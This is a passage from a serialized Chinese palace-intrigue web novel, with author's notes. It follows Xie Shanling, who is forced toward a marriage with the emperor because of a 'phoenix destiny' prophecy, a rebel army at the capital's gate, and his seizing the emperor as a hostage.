“非我族类,其心必异。其实不止是说不同的国家与种族之间,还有不同的阶层身份。”谢善淩缓缓说道,声音空灵得似乎是从另一个时空传来,“阶层身份转换,人心就会随之变化。所以其实弱小之人也并非真心纯善,只是因为没有作太大恶的能力。一朝有了,便显现出来。这也是千百年来纷争不息的原因。” 将灵:“……所以你究竟想说什么?” 谢善淩突的叫他:“江凌。” 将灵正要应,突的一愣,讶异地看他,过了会儿,低低应道:“怎么?” “你说有没有一天人能彻底脱离私|欲,真正进入大同盛世?”谢善淩问。 “……不太可能吧。”将灵委婉地说。 “那人活着做什么?怎么不都去死?”谢善淩一脸认真地问,两只眼珠子黑幽幽没有光,将灵都有点怕了,不自在地摸了摸脸,问:“你是不是犯病了?” 谢善淩更认真了,说:“其实病的是你们,唯独没病的是我。但是你们人多势众,就众口铄金,说我才是有病之人。或许有病是没病的意思,没病是有病的意思。” 将灵:“…………” 谢善淩有些失望:“你也不能明白我。”说罢,不再看他,回过头去继续发呆。 将灵在旁欲言又止了好一阵,实在是接不住发病的谢善淩的那些神奇的话,甚至忘了自己原本是要说什么,最终悻悻然道:“你还是按时吃药吧,别倒了……” * 三日后,雨停了,城外持续了数月的金鸣刀戈之声也终于停了,京中四处传言迭起。 叛军输了这是一定的,更具体的就众说纷纭了,有说秦王和两个大将军逃了的,有说死了的,更有离谱的说神仙出面在最后关头把人救走的。 又过了两日,谢善鸣一身疲惫地回来,带回确切的消息: 蔺潘联军败了,活着的兵士投降的投降,溃逃的溃逃,蔺将军兵败之时长叹一声拔剑自刎,顾裕泽与潘国梁被生擒。 谢家众人听了唏嘘不已,谢善丰脸色尤为暗淡,鲜见地一言不发。 正当这时,宫中来人请谢善淩去面圣。谢家人皆是一愣,警惕起来。谢善鸣也很讶异,如今他自觉是家里最顶事儿的,便替了往日的大伯和亲爹,上前抱拳询问是何事由。 谢善鸣在守城战里出了不少力,是新近的有功之臣,还是楚王的亲大舅子,很得楚王的倚重,传旨的内侍很客气地说:“谢大人相问,原该知无不言,可奴婢也不知道……只是斗胆说一句,若不是客气的事,也就不是奴婢来传旨宣见了不是?” 这倒也是。如今京城的街头巷尾都是重兵戒严,若有什么,直接叫兵士来动手了。可也难保是不是留一丝体面,或者维持京城秩序不要引起骚乱。 正当众人迟疑不下,谢善淩道:“既有圣旨,自当应旨前往。”他安抚地对母亲点了点头,便要跟内侍去。 内侍却站着没动,似有迟疑,环顾众人,忽的问道:“老太师近来可还安好?” 谢善鸣看了眼爹和大伯,三人交换过眼神,他道:“多谢挂念,祖父他老人家依旧是那样时常糊涂,而且近来春雨绵延,气候潮湿,他身子有些不大舒爽,因而今日未能露面,还请见谅。” 内侍摆摆手:“陛下一向待老太师尊敬,原本也该是不去惊扰他老人家,可今日之事似乎陛下很是重视,还是希望他能随同入宫。” 众人面面相觑,都不知这是要做什么。谢老太师不问世事已久,就算出什么事也该是问谢大伯二伯或者谢善鸣等人。 可看这内侍的样子软中是硬,试探着委婉推拒几下都没能成功,不得不去后院禀告老太师。很快就传来了老太师的回复,说可以去。 作者有话要说: *[唐]曹松《己亥岁二首》 *[元]张养浩《山坡羊·潼关怀古》 第107章 ◎“是因为你是真凰命格。”◎ 曾经的皇宫也不热闹, 此刻的却更加死寂,仿佛战争的阴影终于也笼罩到了这片无法无天的地方。 谢老太师一路没犯糊涂,他只是坐在马车里闭目不语。后来内侍出来传口谕只让他独自先去面圣,他也平静如水地去了。 谢善淩看着他的背影, 许久才收回目光, 侧了侧脸, 看着跪在台阶下的顾裕泽。 他的头发还算整洁,穿着很朴质的藏青色布衣, 肩头压着一副沉重的枷锁,两只脚腕被孩童拳头粗细的铁链栓连着。 这会儿天又下起了雨, 还不小。顾裕泽的内侍没有请谢善淩去廊下的意思,刚刚似是特意引他停在了顾裕泽的旁边。 谢善淩想, 这是让自己和顾裕泽说说话的意思。可惜,自己与他无话可说。看起来顾裕泽也没有开口的意思。 但是旁边为自己撑着伞的内侍迟迟没有让自己去廊下避开这令人烦闷的雨水的意思,谢善淩有点不耐烦。他想来想去, 轻声说:“值得吗?到头来都是一场空。” 顾裕泽迟迟没有开口,谢善淩对他的回答毫无兴趣,转头看了好几下撑伞的内侍, 看得对方有点不自在了。 “雨越下越大了。”谢善淩看着内侍暗示道。 内侍:“……” “这儿有点冷。”谢善淩说。 内侍:“……” 谢善淩只好转向顾裕泽:“你说点话吧, 我鞋湿了。” 这话着对衣裳都已湿淋淋贴在身上的顾裕泽来说显得似乎格外残忍和无情,然而谢善淩觉得若对他太有情,那对唐献仪的外祖家满门太无情了。 顾裕泽终于开口了,声音嘶哑得像生满锈的铁,带着无端的恨意:“谢善淩,我若下地狱, 也要拉你一起。” 谢善淩这才有了点兴趣, 看向他问道:“我似乎从未如此得罪你, 甚至在你籍籍无名、所有人都不好看你时,是我陪着你,帮你起势。原本我以为你就是看在我有利用价值的份上死缠烂打,却不料你却恨不得我死。” 他没有看谢善淩,目光依旧沉沉地望着面前的青石地面,说:“既已说过陪我,却为了唐献仪就对我反目。无论我如何乞求你,你仍然恨我,还嫁给顾裕帧改而辅佐他。背叛者不该有好下场。” “在你我还不熟时,我特意帮你,就是因为顾裕帧。你是这世上除了陛下外与他血脉最亲近之人,我对他有愧,你与他少时在眉宇间有一分相似。”谢善淩问,“何况是我活该欠你的吗?为何一定要辅佐了你就不能辅佐他人?” 顾裕泽不说话了。谢善淩想他也确实是说不出什么来。 两人之间又是一片沉寂,豆大的雨滴急促地砸在伞面上,啪啪作响。 不知过了多久,大殿的门被里面的内侍拉开,出来请谢善淩去偏殿更衣然后面圣。谢善淩都要怀疑狗皇帝这是怕把自己逼急了揣利器刺杀才想出来的阴招,忍了忍才没翻白眼。 谢善淩更完衣出来,瞥了眼院里,顾裕泽已经不见了。 他随着内侍来到殿内深处,药味深厚弥漫,夹杂着老不死的咳嗽声。终于,他看到了狗皇帝毫无气血地歪在榻上,两颊凹陷,就像一具只剩骨肉的架子。 谢老太师坐在塌下一侧,另一侧则坐着一位白发道衣的男子,他的面容很年轻,唯独眼中十分沧桑深邃。谢善淩没见过他,但视线在他身上略微转了几圈,隐隐有所猜测。 顾裕泽依旧一身是水,没让他更衣,此刻正跪在离皇帝有点远的位置。也许是有暗卫在暗中盯着,加上顾裕泽一身的负重,因而这样放心不怕他忽然暴起弑君。 谢善淩心思飞转间,已经很人在屋檐下地向老不死的行礼问安,还叫了声很少叫的“父皇”。 这一声“父皇”叫出口,殿内的氛围似乎更沉闷了。 良久,皇帝长叹一声,让谢善淩起来也坐。然后他环顾四周,最后视线落到谢善淩的脸上,语气还算和蔼地问:“你知道当初为什么让你和帧儿定亲吗?” 谢善淩一怔,正要看向祖父,皇帝道:“不要看你祖父,你来回答。” “……儿臣自幼八字轻,须以龙命格镇住。”谢善淩说。 皇帝感慨似的道:“什么八字‘轻’得需要真龙命格镇住啊……” 谢善淩敷衍道:“想是真龙命格能驱散一切邪祟的道理。” “不。”皇帝定定看他,“是因为你是真凰命格。” 谢善淩当即严肃道:“这是什么?儿臣不知,听着不像好东西,儿臣不认,全是顾裕泽构陷。刚刚在殿外为儿臣撑伞的公公肯定听到了,顾裕泽对儿臣因爱成恨,此番谋逆事败,要拉儿臣陪葬,还请父皇为儿臣做主。” 作者有话要说: 抱歉,如果晚上来得及的话就加更,来不及的话就先欠着[爆哭] 第108章 ◎朕如今不得不再立后。既然你是真凰命格……◎ 此时谢老太师忽的缓慢起身, 向皇帝跪下。皇帝过了几下才后知后觉,看向他,没阻止。 “谢家……不知什么真凰命格。”他苍老的声音响在沉闷的殿内,“如反贼四殿下所言, 谢善淩出生那日是有一个云游老道来到府里化布施, 但只说善淩八字轻, 须以真龙命格镇住,臣本不信这些, 当即没理,让他走了。后来善淩日夜无故哭啼, 还厄运缠身,病患连连, 臣这才信了几分,只当看在三郎是为国捐躯的份上,看在佘郡主贵女下嫁臣家, 他二人唯此一子,臣只好豁出去腆着脸入宫求亲。” 谢善淩所知道的也全是如此。关于真凰命格一事,其实他也不知。这事多一人知道, 无论那人是谁, 都多一份风险。当时谢老太师就严厉叮嘱过在场的每一个人:将来无论遇到什么情况,谁问,怎么问,都不可承认。 皇帝轻笑了一声不置可否,然后朝一直默然不语的白发男子道:“国师以为如何?” 果然,这人就是传说中的国师。 谢善淩毫不遮掩地看向白发男子, 视线上下打量。当年正是这国师说顾望笙八字不好, 皇帝将他送到了圣林禅寺。 其实对于顾望笙八字好不好这事儿, 一直以来大家以为就是皇帝不喜他,找个法子放逐他、折磨他。 可如今谢善淩忽的心念一动,有了些许猜疑。但这只是直觉。 白发男子没看皇帝,从谢善淩进来,他的视线一直停在谢善淩的身上。 此时两人四目相接,白发男子轻叹一声,说:“若谢思玄的出生时辰没改过,那他确实不是真凰命格。” 言下之意却是不信谢老太师坚称的没有改过。 “其实若朕要查验此事并不难。”皇帝悠悠地对谢太师说,“早知道若真如此,你们也会顾忌颇多不认,所以昨日已经找到了当年为佘郡主接生的一众人。也是你们家心善,虽想瞒着这事,却又不肯灭口。” 谢老太师没有说话,一动不动仿若入定。 皇帝有气无力地摆了摆手:“这些年朕待谢家不薄,你们是清流,朕也护着你们的清白,谢善淩到处闯祸,朕都容了他……这些年朕被这些个逆子叛贼气坏了身子。如国师所言,龙基不稳,因而大梁才国本动荡,叛乱频起。而善淩这个真凰命格能辅佐真龙……” 谢善淩心中一凉。老不死的这么说总不可能是要立顾望笙为太子。 果然,皇帝接着用幽远的目光看向谢善淩,说:“国师说得很有根据,后位空悬多年,龙凤不协,阴阳不调。朕如今不得不再立后。既然你是真凰命格……” 谢善淩突然心生不妙,转身朝殿外跑,可是打开门站在门口的侍卫就手持兵器拦住了他的去路,廊下站着顾裕骐静静看着谢善淩。 “你不觉得荒谬吗?”谢善淩质问道。 顾裕骐心想荒谬的还在后头,这才哪到哪。 老不死的私下里还跟他说,等自个儿一走,谢善淩就是他的皇后。 但这都是以后的事了,顾裕骐便权且感动地答应,心中直骂晦气。 片刻后,顾裕骐淡淡道:“父皇不会将事做绝,你老实一点,无论是顾裕帧还是谢家其他人,他并不会伤害。现在你先回去殿中,你的祖父还在那里。” 作者有话要说: 昏君:是这样的,谢善淩在我们老顾家属于继承制财产的一部分,谁当皇帝谁娶他当皇后。 顾裕帧:[骂得太脏已被折叠] 谢善淩:骂得这么温柔鬼知道你在想什么,让开,我来。 顾裕帧:…… 明天补更……[可怜][爆哭] 第109章 谢善淩在门口僵站了很久, 没有人催他。最终他自己转过身去,如同迟钝的机械木偶,一步一步地走回殿内深处。 皇帝微微闭着眼睛休息,听到脚步声后缓缓睁开看着, 眼底满是浑浊。 和亲生儿子抢人这事, 不是不能做, 若对方是绝色美女也就罢了,偏偏是个男人, 还是个一点也不柔顺的男人。如国师所言,不仅是要立他为后给个虚衔, 还要水乳交融,方才成就和谐。 “……” 且不说如今这副病躯, 从心里说也是硬着头皮和谢善淩圆房。但见到谢善淩这副上坟一般沉重不愿的模样,皇帝免不了生出些恼羞成怒来。 谢善淩在顾裕泽面前站定,死死看着他:“这就是你对我的报复是吗?” 顾裕泽没说话。 谢善淩猛地一脚将他踹翻在地。 “放肆。”皇帝有气无力地叱喝道。 谢善淩指着国师看向这个昏君:“命格一事玄之又玄, 陛下因此自幼疏离大皇子,如今又要因为这虚无缥缈的东西夺子妻吗?纵观古今,夺子妻稳固江山的儿臣未曾闻听, 因此葬送江山与一世英名的唐明皇儿臣倒是知晓!妖道霍乱超纲的往事亦历历在目。” 他又指向顾裕泽:“此人身为人臣举兵谋反, 身为人子叛逆父亲,口口声声心慕于我,搞得人尽皆知,致我与大殿下不和,一朝他身陷囹吾却如此构陷我,这样不忠不孝不义之徒的话, 陛下竟也敢信?” “别说了。”皇帝根本懒得和他争, 只道, “是真是假,一试才知。你来了就别出宫了,去当年皇后的宫里住着吧,三日后立后大典。” 若非国师说还是得准备准备,怠慢谢善淩本人没什么,不能怠慢命格星君,皇帝今晚就立了这厮。毕竟不争气的儿子和叛将被俘后,停在水城看热闹的白龙匪军又启程了,实在是没时间耽误。 谢善淩还要再争,皇帝叫进来顾裕骐带着人谢善淩领出去。 “……陛下三思!难道真要留如此荒谬骂名于千秋吗?!”谢善淩垂死挣扎道。 皇帝却已经不再理会他,和国师说起事来。谢老太师没有言语动作,闭着眼睛仿佛已经睡着了。 “已成定局,不要白生是非。”顾裕骐淡淡地说着,暗含警告。 国师的声音传入耳内。 “大婚当日,谢善淩穿上凤袍登临太庙祭祖,龙凤相逢,将引来天降异香,昭示天命归于得凤辅佐的真龙天子。被隐匿遮掩的龙气彻底激发觉醒,势不可挡,今后必定国运昌隆。” * 谢善淩被软禁在先皇后的宫中,这里倒是打扫干净了,所需供应也都完善,不敢怠慢。只是门口守着人,进出都需皇帝或楚王特许腰牌。 顾裕骐来过一趟,告诉谢善淩谢家一切都好,谢老太师没有气晕倒,很平静地说都是命,他再如何宠溺谢善淩也不能因为这一个孙子而不顾谢家其他人。 至于傻了的顾裕帧,别人照顾他,他并不接受,逼急了,竟有一丝丝好转,愣愣地小声说了个“淩”字,把在场人给感动并难过哭了,抹着泪哄他说谢善淩有事不在,过些时日回来。 顾裕帧依旧傻呆呆的,没闹,但还是不肯接受旁人,滴水不进了一天多,可能实在是受不了了,常跟着谢善淩的谢聪去哄他他终于进了一点水米,再多就不行了。 “我无意骗你,因而这都实在地告诉你。”顾裕骐道,“你自己斟酌。” 谢善淩早已听得眼睛湿润,许久后道:“我知你与他从前立场不同……如今他已是如此,你没有趁火打劫,我还是要感谢你的。” “……不必多说,我只是看在婉柔的份上给你面子。”顾裕骐想了想,暗示道,“你不要胡来,忍得一时,未来我不会为难你。” 要和真凰命格圆房这事他也知道,但他绝无可能这么做。老不死的倒是连他身子都考虑进去了,问那个装神弄鬼的国师,国师说无妨,到时候再想法子。 至今都未能和心爱之人圆房的顾裕骐很是烦恨,暗道:到时候就想法子把这玩意弄去皇陵陪葬,耳根清净。 谢善淩与他对视一阵,点了点头,都没再说什么。 三天的时间眨眼即过,谢善淩没给好脸,冷冷地被人摆布穿上册后大典所需服饰,比他和顾望笙成亲那日的妆扮自然是隆重多了。他并不配合,但到底也没剧烈反抗。 被一群人挟持着来到太庙,皇帝已经整装等在这了。在谢善淩来之前,皇帝先祭了祖先,正式将谢善淩的名录在祖先前由国师协同敬奉、又一次卜算。 谢家人坚称谢善淩的出生时辰没有过修改,然而谢善淩出身不低,众目睽睽下,具体的时辰可以稍稍篡改,日期却很难。国师将那一日前后全都演算一遍便很轻易地算出来了。 今日得出的灵兆依旧是上上大吉。 皇帝原本有些紧张,可见到这结果便放心了。愁云密布的脸上露出了久违的轻松笑意,眼看着脸色就红润起来,佝偻的背脊都直了许多。皇帝自己有所感受,越发认为这是龙凤和谐的缘故,便对一会儿礼成后的圆房也不是那么抗拒了。 谢善淩一步一步走过来,皇帝打量着他,他今日上了妆,越发显得唇红齿白,又穿着女子服饰,皇帝越看越比平时顺眼太多。 文武百官不得不观这场一言难尽的礼,偷偷瞥着谢家人如丧考妣的样子,又是同情又是感慨,还有些庆幸。皇帝是昏聩,好歹这荒诞的事儿没昏到自家头上。 作者有话要说: 到点儿了先更新一章,我还在写,今天还会更新[爆哭] 第110章 ◎秦青竟会如同鬼魅一般突然率领三千精兵兀然出现在朝阳门外!◎ 礼乐齐鸣, 香雾缭绕。 谢善淩一步一步走上台阶,来到皇帝身边。乐声停了下来,偌大的太庙内外一时间寂静无声,只有风卷着旗帜和人们的衣袍呼呼作响。 “好……好孩子。”皇帝讲究恩威并施, 谢善淩没闹事, 他就不吝温和与鼓励, “你向来以维护朝纲为己任,今后必能实现理想, 母仪天下,辅佐朕荡平匪军, 开创太平。史书上也会有你的名字。” 谢善淩回道:“还是不了吧,史书上写我一男侍父子二人贻笑大方遗臭万年, 我罪不至此。” 皇帝眉眼顿时一沉,低声道:“说话前想想自己的家人。何况国师也没说真凰命格就不能是哑巴。” 谢善淩似乎被他威胁住了,神色不忿, 却没再口出狂言。 皇帝给一旁的国师使了个眼色。他刚刚的好心情被谢善淩毁了大半,不耐烦道:“到时辰了就开始吧。” “还有一会儿。”国师稳重道。 皇帝撇了撇嘴,却也只能忍耐。于是太庙再度寂静庄严, 人人吹风。 勉力忍耐了好一阵, 皇帝皱眉看向老神在在的国师,催促道:“到时辰了吧。” 国师垂眸掐算,摇了摇头:“天运如流水变幻无常没有定数,人力并非全无影响,原本推算的吉时有了推移。” “怎会如此?”皇帝又紧张起来,说着看了眼守卫在另一边的顾裕骐。 顾裕骐平静道:“京中并无异动。” 皇帝想到点什么事, 示意他来自己身边, 问:“将灵和顾裕泽, 你都安排好了吧?” 顾裕骐点头:“父皇放心,顾裕泽被锁在天牢深处严加看守,插翅难飞。至于将灵,儿臣与他有言在先,许以了他很多好处。比起儿女情长,他终究更重视豲戎的未来。” “好好好……”皇帝看回国师,试探道,“可否算出是哪里有异动……” 话音未落,一道急切的声音由远而近,穿着禁军服制的男子狂奔而来,口中高呼:“急报!急报!白龙匪军兵临城下,此时正在朝阳门外击鼓!匪首秦青说一个时辰内不应战,他们就开始攻城!” 阶下群臣顿时哗然。“怎会如此……”“这么突然……”“这可如何是好……” 顾裕骐快步下了台阶,将男子带去一旁低声交谈。周围的人齐竖起耳朵,依稀听到些只言片语,越发惊慌,不多时就有人顾不得上头的皇帝,交头接耳起来。 “这匪军可不比蔺潘联军……那好歹还是正路子……匪军可就不知路数了……一旦他们攻入京城,我们可如何是好……” “谁说不是呢……可不是说匪军被孙瑛拦在了水城外十里一直僵战不能前进吗??没听到孙瑛败战的消息啊!怎会突然就出现在了京城门外?!” “莫不是障眼法?” “更是调虎离山之计啊!如今孙瑛被他们拖在水城一带,京城自然空虚!” 顾裕骐听在耳中,脸色越发阴郁。 以前种种党争,后来顾裕泽与蔺潘两家联手反叛,内部倾轧自杀自灭,如今朝中最能倚重的大将唯有孙瑛,只能派他前去牵制匪军。 前不久护卫京城,除了京军营就是豲戎援军。剿停顾裕泽叛乱后,豲戎援军立刻奔赴水城方向支援孙瑛,原是想一鼓作气将白龙匪军的主力剿灭在那,其他的势力就再不成气候了—— 谁曾料想秦青竟会如同鬼魅一般突然率领三千精兵兀然出现在朝阳门外! 若是秦青一人也就罢了,那三千精兵究竟是如何避过一路重重耳目大摇大摆过来的?! 但此刻来不及多想这个问题。 顾裕骐叫人去官驿通知将灵,随后快步回去阶上低声简单和皇帝说了下情况,便离开太庙,直奔朝阳门城墙上与闻讯赶来的将灵会合。 将灵的脸色也很难看,显然他也被这凭空冒出来的三千人惊到了。 “这段时日通往京城四面八方的路都让人谨慎盯防,不可能……” 顾裕骐黑着脸与城下仰起头朝向自己的面具秦青对视,打断将灵的话。 “先不必想这个,想想眼下。与顾裕泽一役京军营受创巨大,眼下还没恢复,秦青带的这三千人身形高大杀气蓬勃,手中都有精铁兵器,若真攻起城来,我们未必占便宜。” 将灵却冷笑道:“不想不行。三千个人绝不可能从地底平白冒出来,除非……他们早就在这!” 顾裕骐一怔,转头看他:“你是什么意思?” 将灵与他对视,说:“当年豲戎能悄无声息在京城各处安插下两百多枚暗桩,那匪军的三千个也不是不可能。豲戎人尚在外貌口音上有难处,匪军却没这样的顾虑。” “你的意思是,这三千人根本不是从水城而来,而是原本就一直隐藏在京城附近?!”顾裕骐震惊地问。 “除此以外还能有什么别的解释吗?难道他们会遁地术?还是有翅膀会飞?”将灵说着,看向城下的秦青,阴沉道,“我很讨厌这个人,他的身上有让我非常不舒服的感觉……让人去谢家看看那个傻子。” 顾裕骐顺着看过去,皱眉道:“大概又是那个宋淮安假装……” 但还是立刻叫人去谢家查验那个傻子的真伪。 这边刚刚吩咐完,城下那个秦青就开口了。 他勒着马朝前踱了两步,问:“商量好了吗?是开城门让我进去,还是我打进去?京城的状况在我掌握之中,我若打,三日之内必定打下,只是怜惜百姓无辜。义军进城不会掠夺民居,不会无故杀戮世家,识相的人我都可网开一面。” 顾裕骐维持镇定地回道:“你不要太妄自尊大,任你如何故弄玄虚,也不过是只有三千人。” 秦青却反问:“你确定?” 顾裕骐正要还嘴,将灵脸色大变,喃喃道:“如果是我所想的那样……” 他话未说完,跑上来一个气喘吁吁脸色煞白的小兵。 “殿下!宣德门有守城兵叛乱,趁值岗之际偷开城门放秦王余孽进来,险些进了天牢劫狱,好在及时发现……太过突然,让他们逃了,只抓了两个余孽审问才知这阴谋前后……” 顾裕骐问:“偷开城门的守城兵是秦王的人?” 小兵道:“不,余孽招认说原本不是,他们自称不服殿下,为秦王鸣不平,因而甘愿勾结……” “偷开城门的一个也没抓到?”顾裕骐问。 “没……抓到的都是秦王余孽……” 将灵冷笑道:“是秦青的人。他想将这潭水搅得更浑。” 话音刚落,又有一个小兵气喘吁吁地冲上来,看他身上服制,不属于驻军,而是衙门的人。 他开口便道:“王爷!东城起乱了!数十叛民纵火烧东城察院,巡城御史张大人调了水车灭火,并立即调人前往查看百米外的甲仗库,果然发现纵火叛民真正意图是趁着混乱抢劫库内兵器!张大人抓到了其中两人,正在严刑拷打。火虽扑灭,东城察院仍旧被烧毁了小半,如今附近人心惶惶,流言四起,张大人令人封锁街道,各门各户皆不许外出,可此事突然,他担心并非偶然,因此让小的立刻前来禀告于您!” 顾裕骐:“……” 好死不死,城下的秦青好似有千里耳能听到上面说话一样,又或者他掐算到了—— 当然,大概真相仅仅只是这一切就是出自他的部署。 “顾、裕、骐。”秦青一字一顿道,“你现在明白了我不是在吓唬你吧?我唯一说得不够真实的是,若真攻城,也许用不到三天。也许现在就在这城墙之上,你身边的人、你对面的人,也是义军的人。” 顾裕骐定定看着他:“你在虚张声势。难道你以为就靠那十来个人制造出的小混乱就能吓到我?空城计?你不是诸葛孔明,我也不是司马懿。” 秦青忽的一笑:“你比不比得上司马懿我不知道,家妻自幼仰慕断夺先机的武侯之才。” 顾裕骐一手按在城墙面上死死用力,咬牙切齿道:“果然是你,顾裕帧!” 下一刻,刚被他叫去谢府查看的小兵跑回来,急切地汇报:“王爷!大皇子殿下不翼而飞!贴身照顾的小厮谢聪被打晕在屋内,谢家诸人都说不知。因、因是王妃家人,属下不敢擅作主张贸然抓人搜府,还请王爷拿主意……” 顾裕骐厉目看向他,脸颊微微抽搐。这一刻他什么都明白了,却已经什么都晚了。 还搜什么府?就算找出那个一直以来假扮傻子顾裕帧的人又如何?就算将这人杀一百遍,难道能解燃眉之急吗? “谢善淩……” 顾裕骐正要再说什么,将灵抢先他一步,朝城下秦青怒道:“当日你分明中了阖杀,我亲自检查过那人是你,而且你毒发数月,就算有解药也不可能在这么短的时间内恢复完好!” 事到如今,顾望笙不再瞒他。 “我是中了阖杀,可没中几个月。你查验过我眼白毒发的刺青和脸皮后就放心了,后来再有毒发时的异香散发,你只看是否还是我躺在那里,没再细查。眼白刺青难作假,往身上涂点气味相似的香料总不难。那个时候我已经解了毒。”顾望笙不急不缓地说。 这下子将灵的脸皮也抽搐起来,几乎将一口牙咬碎,他细细回想当时,用力捶了几下墙面:“你和谢善淩合伙耍我?!” “其实他也很惊讶,没想到你能蠢成这个样子,当年上过一次当了,侥幸没死还学不会色字头上一把刀这话,这回竟还上……啧啧。你还是回豲戎去放羊吧,别想太多了。” 顾望笙本就是有意激他,更何况,想起当时自己用光了八辈子的耐心才没从床上跳起来和将灵你死我活一场,心中也是极恨,说出话越发不中听。 “你知道他是怎么跟我评论你那时的样子吗?他说你好像耍猴戏的,还耍得很让人恶心。” “……” 将灵的指尖几乎掐入城墙砖里,粗粗喘着气,左心口旧伤隐隐发作…… 这几年来,每每想起那一刻,这里都会疼,可是杀了许多大夫也没治好,那些庸医只说这是他的错觉。可这分明不是错觉。 好一会儿,将灵勉强恢复了一点神智,问:“阖杀的解药从何而来?” 秦青大方地为他解惑:“自他知道豲戎有这种奇毒,便心生警惕,这几年一直在研制解药以防万一。我与他交心不久,他就将这事告诉了我。” 作者有话要说: 还欠差不多两千个字,看是一会儿更了还是放明天的一起[捂脸偷看]BY因为毫无存稿而且最近时间比较紧所以开始和读者字字计较明算账的寒酸厚脸皮短唯[爆哭] 110-120 第111章 ◎陛下……被谢善淩挟持了!◎ 眼看将灵都要被秦青气吐血了, 顾裕骐既觉得嫌弃,又觉得好歹是盟友一场,将灵丢人连累自己也丢,因而不得不救场打断。 “如今谢善淩在父皇的身边, 就算你早早在京城布下多少暗桩, 手也伸不到那里去。”顾裕骐道, “逼急了,谢善淩的命就没了。” 秦青果然不语了。 场面僵持起来, 顾裕骐趁此时机退后一步与将灵低声商议:“让豲戎军立刻回护。” 将灵冷着脸说:“来不及,而且匪军就是有意拖住那边来一招调虎离山, 助秦青以最小的代价拿下京城,又岂会让豲戎军轻易脱身?” 顾裕骐却与他有着不同的看法。“让孙瑛拖住匪军。秦青在这里, 宋淮安不敢和孙瑛硬碰硬,只是在虚张声势罢了。”顾裕骐说。 将灵略一思索,道:“我去传信。” 他刚要走, 突的脚下一阵剧烈摇动,险些踉跄跌倒,好在他反应快及时稳住, 刚微微诧异要出言询问, 只见眼前一黑,狂风骤起,明明是晌午,刚刚日头还很刺眼,顷刻只见竟乌云蔽日,飞沙走石, 恍若陷入狂暴的黑夜一般。脚下再次摇晃起来。 顾裕骐及时扶住城墙站稳, 皱眉无奈道:“怎么此时地龙动……” 下一刻, 天边闷雷滚滚,酝酿半晌,猛然一道惊雷,伴随着一道闪电蓦然劈破漆黑的天际,闪了好些下。 顾裕骐下意识地以视线追随闪电而去,猛然意识到天雷与闪电落下的方向似乎是太庙…… 还没来得及多想,天突然亮了。他抬头便见到乌云飞速散去,恢复了晴日,地也不摇晃了,刚刚的一切仿佛没发生,只是他的幻觉。 “……” 顾裕骐第一时间看向下面,显然匪军刚刚也受了惊,被突然的地龙动晃得队形散乱开来。 不过此时动停,匪军立刻整顿队列,秩序井然。相比之下,城墙头上仍在惊慌无措的这堆就很废物。顾裕骐不由得默然翻了两个白眼。 因为刚刚那天降异象,双方一时都没再言语,各自调整。 趁这时机顾裕骐观察着匪军,不多久,又有人冲上城墙,叫道:“大事不好了殿下,陛下他……他……哈……” 顾裕骐心中一沉,回头盯着来人问:“陛下怎么了?快说!” 这人喘着气说:“陛下……被谢善淩挟持了!” 顾裕骐:“……” 他愣了好一阵才反应过来似的,不可思议地问:“谢善淩怎么能挟持陛下?你们都是吃干饭的吗?” 这人无奈道:“谁也不知道谢善淩会武功,而且谁也没防备他竟敢突然对陛下出手……” 就算谢善淩以往做过再多石破天惊的事儿,今日之前说他会挟持皇帝陛下,那也绝对是没人信的。 “刚刚天色骤变,地摇起来,听到陛下惊呼,暗卫其实已经出手,但慌乱之中加之没想到谢善淩会武,失了手,没能救出陛下。待天色复明,谢善淩匕首紧紧抵在陛下脖间,说谁敢靠近一步他就马上下手。这……” 他飞快地瞥了眼人尽皆知的受害人将灵:“谢善淩是个疯子,他这么说,没人敢不信。” 比起谢善淩挟持皇帝,顾裕骐还是更震惊于他的身手。虽说刚刚是有意外相助,可仍旧是远远超出了顾裕骐的想象。 他下意识地将目光投向将灵:“谢善淩会武功?” 将灵两眼发直,印堂黝黑,还没从刚刚秦青那番话里脱身,仿佛是过了几下才听到,可是很快就似进入了新的幻境中,惆怅道:“会一点,尤其是如何近身擒敌……” “是我专门指点的他”这话正要出口,将灵一顿,反应过来,问:“你不知道?” “你没说过。”顾裕骐说。 “我以为你知道。”将灵微微皱起眉头,说,“我不是让你今天给他下点药保险吗?你没下?” 顾裕骐的脸色也不好看:“你应该直接告诉我是因为他会武功你才让我给他下药,而不是喝得醉醺醺扔给我一包药粉!” 谁知道那是什么东西?将灵说是令人手脚乏力的迷药,说以防万一,顾裕骐却不信。他不止怀疑过那是毒药,甚至怀疑过那是一包春|药! 于是顾裕骐想想就没给谢善淩吃。哪怕那确实只是一包迷药,哪怕立后大典原本如何荒诞,“皇后”软脚虾似的被人一路搀扶着终究不成样子。 可若早知道谢善淩竟会武…… 顾裕骐深呼吸两口气,忍住额头突突直跳的青筋,说:“算了……我现在要去太庙看一看,你留在这里对付秦青。” 他话音刚落,刚刚那人就劝道:“可是那里已经被谢家兄弟策反占领,殿下若去那里岂不是羊入虎口?还是殿下要抽调此处原本就不够的守城兵前去太庙救驾?那匪军岂不是立刻就能轻易攻破城门?!” “……” 这也不行那也不行,顾裕骐也狠狠一拳捶到城墙之上,看向下面的秦青,突然想到什么,不可置信道:“难道……不,不可能……怎么可能是他们商量好的……” 谢善淩凤命这事是老四被俘后抖露才为人所知,加上国师信誓旦旦,皇帝才坚定心思要去太庙立他为后。何况刚刚的异象也是人力所不能操控。一切怎么看怎么是意外。 * 谢善淩确实没想到刚刚会地震和天黑。先前也没料到顾裕泽会那样出卖自己。 他只是很单纯地和顾望笙约定好水城拖住孙瑛和豲戎援军、秦青率三千人奇袭京城。 后来发生一些意外他也有些被动,但刚才既然天给了他机会,他索性一搏挟持了老不死,痛斥其昏聩荒诞,号召台下的文武百官另立明主。 百官自是不可能因他这番话就立刻叛变,但事情都有目共睹,着实不成个体统。谢善淩说得没错,今日旁观他人遭殃,焉知来日自己如何?实乃唇亡齿寒、兔死狐悲的事。便难免动摇。 其他人尚且可以只在动摇之间,谢家人却不行……谢善淩此举一出,谢家要么大义灭亲,要么就只能硬着头皮他大爷的反了。再者说,昏君那样做,确实是欺人太甚! 还有,今日出门前,祖父难得不犯老糊涂,清清楚楚地叮嘱大家一切看谢善淩怎么做。如今想来,这是巧合,还是真有这番深意? 谢善鸣最先想通其中关窍,在大家都还迷糊的时候当机立断,出声喝令今日调配来太庙守卫的京军营兵士。 他在京军营行事多年,向来稳重公正,颇得人心,前段时日又履立功劳,一路拔擢为主官提督,此刻听到他的号令,京军营的弟兄们在略微犹豫之后便本能地听从于他了。 想到当反贼的未知未来,忠君了三十来年的谢善鸣有点绝望……面上却不得不继续坚毅。 